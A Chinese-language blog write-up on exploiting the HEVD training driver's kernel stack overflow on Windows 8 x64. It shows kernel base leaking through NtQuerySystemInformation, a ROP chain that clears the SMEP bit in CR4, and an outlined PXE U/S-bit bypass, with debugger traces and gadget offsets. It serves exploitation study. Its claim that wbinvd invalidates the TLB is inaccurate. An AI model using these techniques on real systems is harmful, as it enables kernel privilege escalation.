传送门
0x00 前言
这篇的内容比较基础,也比较好玩,当然,一直看到袁哥提到的DVE bypass mitigation的,关于DVE感觉非常神奇,不过我还是不太了解,非常想学。
前两天在安全客发了一篇HEVD内核漏洞训练的文章,其中主要和大家分享了一下我的偶像MJ0011在HITCON上提到的Windows 8之后的新防护机制。后来Cn33liz又更新了一个HEVD Kernel StackOverflow的exp,正好提到了SMEP Bypass。
Cn33liz exp地址:https://github.com/Cn33liz/HSEVD-StackOverflowX64
而SMEP Bypass相关的show case有一个非常好的文章在: https://www.coresecurity.com/system/files/publications/2016/05/Windows SMEP bypass U-S.pdf
这里我尝试了文中提到的几种bypass SMEP的方法进行了尝试,和大家一起分享一下这个过程,在此之前想和大家说一下之前的一些误区。
首先在上一篇HEVD内核漏洞训练中,我提到关于NtAllocateVirtualMemory返回STATUS_SUCCESS之后仍然无法申请内存的问题,当时描述出了问题--实际上,当NtAllocateVirtualMemory返回STATUS_SUCCESS之后内存已经是可以申请的了,只需要通过memset初始化内存即可。
经过和安全客小编的沟通,已经在文中修改了这处错误,实在抱歉!
第二点是关于Cn33liz的exploit中,在他构造rop chain的时候,覆盖的地址偏移是2072,我发现这个地址并非是ret address,而是2088这个偏移才能够将rop chain的地址覆盖上。
上一篇在安全客的地址:http://bobao.360.cn/learning/detail/3544.html
在本文中,我对一种常见的获取内核信息的函数NtQuerySystemInformation进行了跟踪分析,对几种绕过SMEP的方法也进行了一些跟踪,感觉与系统博弈的过程还是艰辛又好玩的,做了一些总结然后和大家一起分享。请师傅们多多交流指正。
0x01 SMEP
SMEP有点像DEP,是内核的一种缓解措施,我们可以将它简单的理解成禁止在内核态下执行用户空间的代码,下面我们来看一下SMEP的作用,首先通过VirtualAlloc申请用户态空间,并将shellcode拷贝至空间。
kd> g
Break instruction exception - code 80000003 (first chance)
0033:00007ff7`fcde14d0 cc int 3
kd> p
0033:00007ff7`fcde14d1 c3 ret
kd> dd e50000//VirtualAlloc 申请e50000内存,并部署shellcode
00000000`00e50000 148b4865 00018825 828b4c00 000000b8
00000000`00e50010 e8888b4d 49000002 8b48098b 8348f851
00000000`00e50020 057404fa eb098b48 418b48f1 49f02460
d> g//memcpy的时候中断调试,rsi向rdi内存拷贝畸形字符串
Breakpoint 0 hit
HEVD!TriggerStackOverflow+0xdf:
fffff800`02280bbf f3a4 rep movs byte ptr [rdi],byte ptr [rsi]
kd> bp fffff80002280bc1
kd> r rsi
rsi=0000000000fe35d0
kd> dd fe35d0//查看寄存器覆盖情况
00000000`00fe35d0 90909090 90909090 90909090 90909090
可以看到,在HEVD中调用memcpy之后,会覆盖到内核栈中的返回地址,在ret返回的时候,会由于栈溢出,跳转到我们之前部署的shellcode的地址e50000位置,这是用户态空间,SMEP开始工作了。
kd> !analyze -v//SMEP引发BSOD,ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY (fc)
SMEP会导致BSOD,报错内容是ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY。
0x02 NtQuerySystemInformation的工作
正如开始的时候我说SMEP有点像DEP,绕过DEP比较常见的方法就是ROP,因此对抗SMEP的常见方法也是比较简单的方法也是ROP,在DEP中构造ROP需要dll的基址,其实在SMEP中构造ROP需要动态链接库内核的地址,而获取内核地址的一种非常好用的方法就是NtQuerySystemInformation。
当然,这个函数在Medium Integrity下是可以工作的,但是在Low Integrity下是无法获取内核信息的,不过基本都是在Medium Integrity下进行的,只有在微软的一些沙盒中是不能用的,要用其他方法来泄露内核地址。(还记得bitmap吗!也是GdiSharedHandleTable不能用之后改用了gsharedinfo)
首先来看一下NtQuerySystemInformation的工作,先从用户态进入内核态,在64位下通过syscall进入。
ntdll!NtQuerySystemInformation:
0033:00007ffe`33f17e30 4c8bd1 mov r10,rcx
0033:00007ffe`33f17e33 b835000000 mov eax,35h
0033:00007ffe`33f17e38 0f05 syscall//通过syscall进入内核态
0033:00007ffe`33f17e3a c3 ret
在NtQuerySystemInformation传入参数中,第一个表示功能号,这里我们使用的是功能号为11。在NtQuerySystemInformation中会对功能号进行判断,当功能号为11的时候,会执行一些函数调用进行相应的逻辑处理。
kd> g
Breakpoint 1 hit
nt!NtQuerySystemInformation://进入内核态 nt!NtQuerySystemInformation
fffff801`dc7d1390 4053 push rbx
kd> r rcx//系统功能号 11
rcx=000000000000000b
kd> g
Breakpoint 2 hit//采取ecx自减的方法,当ecx为0命中功能号
nt!ExpQuerySystemInformation+0x541:
fffff801`dc7d196d ffc9 dec ecx
kd> p
nt!ExpQuerySystemInformation+0x543:
fffff801`dc7d196f 0f85dc9f1700 jne nt! ?? ::NNGAKEGL::`string'+0x1bd51 (fffff801`dc94b951)
kd> r ecx//此时,ecx为0,进入功能号为11的逻辑处理
ecx=0
kd> p
nt!ExpQuerySystemInformation+0x549:
fffff801`dc7d1975 418acb mov cl,r11b
kd> p
nt!ExpQuerySystemInformation+0x54c:
fffff801`dc7d1978 e863800d00 call nt!ExIsRestrictedCaller (fffff801`dc8a99e0)//检查是否是受限调用
kd> p
nt!ExpQuerySystemInformation+0x551://返回值eax
fffff801`dc7d197d 85c0 test eax,eax
kd> p
nt!ExpQuerySystemInformation+0x553:
fffff801`dc7d197f 0f8547a01700 jne nt! ?? ::NNGAKEGL::`string'+0x1bdcc (fffff801`dc94b9cc)
kd> r eax// eax为0,非受限调用,可以继续执行下面的获取nt的基址的逻辑
eax=0
kd> p
nt!ExpQuerySystemInformation+0x559://gs指向_kpcr
fffff801`dc7d1985 65488b042588010000 mov rax,qword ptr gs:[188h]
kd> dt nt!_KPCR
+0x180 Prcb : _KPRCB
kd> dt nt!_KPRCB
+0x008 CurrentThread : Ptr64 _KTHREAD
在功能号为11的逻辑处理中,主要获取内核模块信息的函数是ExpQuerySystemInformation,这个函数中,首先会获得内核的KTHREAD信息,保存至rax中,gs指向kpcr,偏移180h的位置是kprcb,偏移再加8h则指向KTHREAD。接下来会将KernelApcDisable置true。然后会锁定获取资源。
kd> p
nt!ExpQuerySystemInformation+0x562://KTHREAD+1E4位置自减,就是KernelApcDisable自减
fffff801`dc7d198e 66ff88e4010000 dec word ptr [rax+1E4h]
kd> r rax
rax=ffffe00001cac880
kd> !process
PROCESS ffffe00001252900
THREAD ffffe00001cac880
kd> dt nt!_KTHREAD KernelApcDisable
+0x1e4 KernelApcDisable : Int2B
kd> p
nt!ExpQuerySystemInformation+0x569:
fffff801`dc7d1995 418ad5 mov dl,r13b
kd> dt nt!_KTHREAD KernelApcDisable ffffe00001cac880
+0x1e4 KernelApcDisable : 0n-1
kd> p
nt!ExpQuerySystemInformation+0x56c:
fffff801`dc7d1998 488d0da18fefff lea rcx,[nt!PsLoadedModuleResource (fffff801`dc6ca940)]//指定资源
kd> p
nt!ExpQuerySystemInformation+0x573:
fffff801`dc7d199f e8bc12c6ff call nt!ExAcquireResourceExclusiveLite (fffff801`dc432c60)//获取线程独占访问资源
kd> r rdx//wait = true调用者进入等待状态,直到获取资源
rdx=0000000000000001//
随后会进入核心的模块查询函数,这个ExpQueryModuleInformation会遍历kernel的psLoadedModuleList链来获取kernel信息,保存在buffer里,buffer的长度是RTL_PROCESS_MODULE_INFORMATION结构体的长度,然后恢复KernelApcDisable
kd> p
nt!ExpQuerySystemInformation+0x57d:
fffff801`dc7d19a9 458bc6 mov r8d,r14d
kd> p
nt!ExpQuerySystemInformation+0x580:
fffff801`dc7d19ac 488bd3 mov rdx,rbx
kd> p
nt!ExpQuerySystemInformation+0x583:
fffff801`dc7d19af e8acb60800 call nt!ExpQueryModuleInformation (fffff801`dc85d060)
kd> p
nt!ExpQuerySystemInformation+0x588:
fffff801`dc7d19b4 89442430 mov dword ptr [rsp+30h],eax//结构信息存入
kd> dd ffffd00021bc7434
ffffd000`21bc7434 0000ad78 dc444a01 fffff801 03b10000
ffffd000`21bc7444 ffffe000 00000000 fffff801 00000000
kd> p
nt!ExpQuerySystemInformation+0x58c:
fffff801`dc7d19b8 488d0d818fefff lea rcx,[nt!PsLoadedModuleResource (fffff801`dc6ca940)]
kd> p
nt!ExpQuerySystemInformation+0x593:
fffff801`dc7d19bf e8cc1ac6ff call nt!ExReleaseResourceLite (fffff801`dc433490)//释放资源
kd> p
nt!ExpQuerySystemInformation+0x598://读取KTHREAD
fffff801`dc7d19c4 65488b0c2588010000 mov rcx,qword ptr gs:[188h]
kd> p
nt!ExpQuerySystemInformation+0x5a1://获得KernelApcDisable
fffff801`dc7d19cd 0fbf81e4010000 movsx eax,word ptr [rcx+1E4h]
kd> p
nt!ExpQuerySystemInformation+0x5a8://自加恢复
fffff801`dc7d19d4 ffc0 inc eax
kd> p
nt!ExpQuerySystemInformation+0x5aa:
fffff801`dc7d19d6 668981e4010000 mov word ptr [rcx+1E4h],ax
kd> p
nt!ExpQuerySystemInformation+0x5b1://处于恢复状态
fffff801`dc7d19dd 6685c0 test ax,ax
kd> dt nt!_KTHREAD KernelApcDisable ffffe00001cac880
+0x1e4 KernelApcDisable : 0n0
返回后,直接读取这个buffer,对应就是RTL_PROCESS_MODULES对象,直接读对象的ImageAddress就是模块内核地址了,然后就是构造ROP
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
HANDLE Section; // Not filled in
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[ 256 ];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
接下来我们来看一下通过IDA反汇编的相关函数的伪代码,对应内容我在代码后面写了注释。
int __fastcall ExpQuerySystemInformation(signed int a1, int *a2, unsigned int a3, unsigned __int64 a4, unsigned int Size, signed int *a6)
{
⋯⋯
v7 = a1;//将功能号的值交给v7
⋯⋯
if ( v7 == 11 )//在ExpQuerySystemInformation中会有很多if语句对功能号进行判断,对应功能号执行对应操作,当功能号为11时
{
if ( ExIsRestrictedCaller((unsigned int)(v7 - 11), a2, 5368709120i64) )//检查是否是受限调用
return -1073741790;
*(_WORD *)(*MK_FP(__GS__, 392i64) + 484i64) = *(_WORD *)(*MK_FP(__GS__, 392i64) + 484i64) - 1;
ExAcquireResourceExclusiveLite(&PsLoadedModuleResource, v11);//v11的值为1,会等待当前资源释放
v35 = ExpQueryModuleInformation(v34, (_DWORD *)v6, v12, &v166);//PsLoadedModuleList链读取Modules信息,RTL_PROCESS_MODULES结构
LABEL_95:
v165 = v35;
ExReleaseResourceLite(&PsLoadedModuleResource);//释放资源
v36 = *MK_FP(__GS__, 392i64);
v37 = *(_WORD *)(*MK_FP(__GS__, 392i64) + 484i64) + 1;
*(_WORD *)(*MK_FP(__GS__, 392i64) + 484i64) = v37;
if ( !v37 && *(_QWORD *)(v36 + 152) != v36 + 152 && !*(_WORD *)(v36 + 486) )
KiCheckForKernelApcDelivery();
goto LABEL_40;
}
⋯⋯
}
0x03 bypass SMEP ROP chain
在Win8 x64 Medium Integrity下,可以用NtQueryInformation直接获得bypass SMEP的ROP chain。首先可以得到nt的kernel address,通过NTQuerySystemInformation。
kd> p
Bypass_SMEP!GetKernelBase+0x8b:
0033:00007ff7`0075108b 33d2 xor edx,edx
kd> r rbx
rbx=fffff801dc403000
这个nt kernel address就是fffff801dc403000,我们接下来构造的ROP chain可以在nt中找到。关于SMEP的控制,取决于cr4寄存器,这个寄存器的比特位们代表了不同的内容。其中,第20位表示的是SMEP的开关。我们可以利用ROP Chain来关闭这个比特位。因此我们需要2个ROP gadgets。
fffff801`dc54fa10 nt!HvlEndSystemInterrupt = <no type information> 506f8 909090909090 +14CA30
0033:fffff801`dc54fa30 59 pop rcx
0033:fffff801`dc54fa31 c3 ret
fffff801`dc5ddba8 nt!KeWakeProcessor = <no type information> 1506f8 +1DABFC
0033:fffff801`dc5ddbfc 0f22e1 mov cr4,rcx
0033:fffff801`dc5ddbff c3 ret
第一个用于将想修改的cr4的值,交给rcx,第二个用于修改cr4寄存器的值。获取win8下cr4的值,其中,第20bit描述的是SMEP,将其置0关闭SMEP。
kd> bc 0
kd> g
Breakpoint 1 hit
HEVD!TriggerStackOverflow+0x11c://驱动返回位置
fffff800`02280bfc c3 ret
kd> r rsp
rsp=ffffd0002381e7c8
kd> dd ffffd0002381e7c8//由于栈溢出,返回地址被覆盖,先是ROP Chain
ffffd000`2381e7c8 dc54fa30 fffff801 000506f8 00000000
ffffd000`2381e7d8 dc5ddbfc fffff801 00a60000 00000000
ffffd000`2381e7e8 90909090 90909090 90909090 90909090
ffffd000`2381e7f8 90909090 90909090 dc54fa30 fffff801
ffffd000`2381e808 001506f8 00000000 dc5ddbfc fffff801
ffffd000`2381e818 02281f6e fffff800 0231d010 ffffe000
ffffd000`2381e828 0231d0e0 ffffe000 03c3aa80 ffffe000
ffffd000`2381e838 0000000e 00000000 00222003 00000000
kd> p//进入第一个ROP gadget pop rcx获取要修改cr4的值
nt+0x14ca30:
fffff801`dc54fa30 59 pop rcx
kd> p
nt+0x14ca31:
fffff801`dc54fa31 c3 ret
kd> p//将rcx交给cr4,修改cr4的值
nt+0x1dabfc:
fffff801`dc5ddbfc 0f22e1 mov cr4,rcx
kd> r cr4//cr4当前值,20bit位置值为1
cr4=00000000001506f8
kd> p
nt+0x1dabff:
fffff801`dc5ddbff c3 ret
kd> r cr4//修改后,20bit位置值为0
cr4=00000000000506f8
kd> p//ret后进入shellcode部分,可以执行了
00000000`00a60000 65488b142588010000 mov rdx,qword ptr gs:[188h]
kd> p
00000000`00a60009 4c8b82b8000000 mov r8,qword ptr [rdx+0B8h]
可以看到,这次跳转到a60000这个用户地址空间后,也可以继续执行shellcode代码了,cr4的20bit位置置0了,SMEP并没有工作,等待替换token之后,再将cr4寄存器恢复即可。最后提权完成。
0x04 另一种SMEP绕过方法
在开头,我提到了一篇比较有意思的show case,里面提到了一种另类的ROP方法,就是用来欺骗SMEP,在pxe中,有一位表示的是U/S,如果我们将这一位修改,让SMEP认为用户空间是可以执行代码的。
首先,我们需要修改之前NtQuerySystemInformation函数获取的内容,来获取hal的内核地址。
00000000`01120140 68828000 fffff801 00075000 08804000 ...h.....P...@..
00000000`01120150 00000001 00150022 7379535c 526d6574 ...."...SystemR
00000000`01120160 5c746f6f 74737973 32336d65 6c61685c ootsystem32hal
00000000`01120170 6c6c642e 00000000 00000000 00000000 .dll............
0033:00007ff7`157e10b0 4963c3 movsxd rax,r11d
0033:00007ff7`157e10b3 4869c028010000 imul rax,rax,128h//获得距离SYSTEM_MODULE_INFORMATION起始地址的偏移
0033:00007ff7`157e10ba 488d4c3830 lea rcx,[rax+rdi+30h]//30h是模块名称成员距离模块起始的偏移,rcx得到模块成员名称的地址
0033:00007ff7`157e10bf 493bc9 cmp rcx,r9//判断模块名称是否是我们需要的模块名称
0033:00007ff7`157e10c2 7503 jne Bypass_SMEP!GetKernelBase+0xc7 (00007ff7`157e10c7)
0033:00007ff7`157e10c4 488b1a mov rbx,qword ptr [rdx]
0033:00007ff7`157e10c7 41ffc3 inc r11d
修改的源码如下:
Int_3();
NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);
//try to catch HAL kernel address
for(i=0;i<ModuleInfo->NumberOfModules;i++)
{
if(!strcmp(ModuleInfo->Module[i].Name,"\SystemRoot\system32\hal.dll"))
{
kernelBase = ModuleInfo->Module[i].ImageBaseAddress;
break;
}
}
在构造rop chain的时候,我们需要下面几个rop gadgets。
1、mov rsp,48000000df jmp to user space//maybe不用?
2、pop rcx with 0x63 to reset pxe
3、pop rax with pxe(my_addr)-3
4、mov [rax],ecx
5、invalid TLB(会更新PTE,导致U/S位失效)wbinvd
6、ret to shellcode
本来想试验这个过程,但是有些rop gadget无法获取了,读那个文章中,作者提到了一个stack pivot的地址,利用的是HalpTscTraceProcessorSynchronization函数中的一个位置,可以使rsp栈帧跳转到480000df地址,这是可以通过用户申请的。
但我没有找到这样的地址,我尝试在hal内存空间中搜索这样的rop gadget,也没有找到,但我觉得这个并不影响,可以通过virtualalloc申请,把第二个rop gadget先覆盖在ret即可。
第二个rop gadget需要将0x63赋值给rcx寄存器,这个值用于重新设置pxe中的U/S位。
第三个rop gadget需要将pxe的值交给rax。
kd> !pte fffff80aa2c35bfc
VA fffff80aa2c35bfc
PXE at FFFFF6FB7DBEDF80 PPE at FFFFF6FB7DBF0150 PDE at FFFFF6FB7E02A8B0 PTE at FFFFF6FC055161A8
Unable to get PXE FFFFF6FB7DBEDF80
第四个rop gadget需要修改pxe的u/s位,也就是mov [rax],ecx。
这里比较有趣的就是第五个rop gadget,这是hal.dll中的一个invalid TLB cache,禁用快表,因为虚拟地址和物理地址转换的时候,有可能会去TLB中直接搜索缓存的地址,如果命中就直接提取。
这里禁用TLB之后,就可以直接去PTE中找对应地址。令我们修改后的U/S起效果。wbinvd汇编指令会禁用这个缓存。
.text:00000001C003B8A0 HalpAcpiFlushCache proc near ; CODE XREF: HalpFlushAndWait+9p
.text:00000001C003B8A0 ; HalpDpOfflineProcessorForReplace+57p
.text:00000001C003B8A0 ; DATA XREF: ...
.text:00000001C003B8A0 wbinvd
.text:00000001C003B8A2 retn
.text:00000001C003B8A2 HalpAcpiFlushCache endp
个人感觉比较好用的还是cr4的方法,后者之所以提及,是因为pxe和invalid TLB这两个rop gadget的方法特别有意思。关于SMEP的绕过方法应该还有,内核有很多可以开脑洞的地方,期待更多的研究成果与大家分享,感谢!
传送门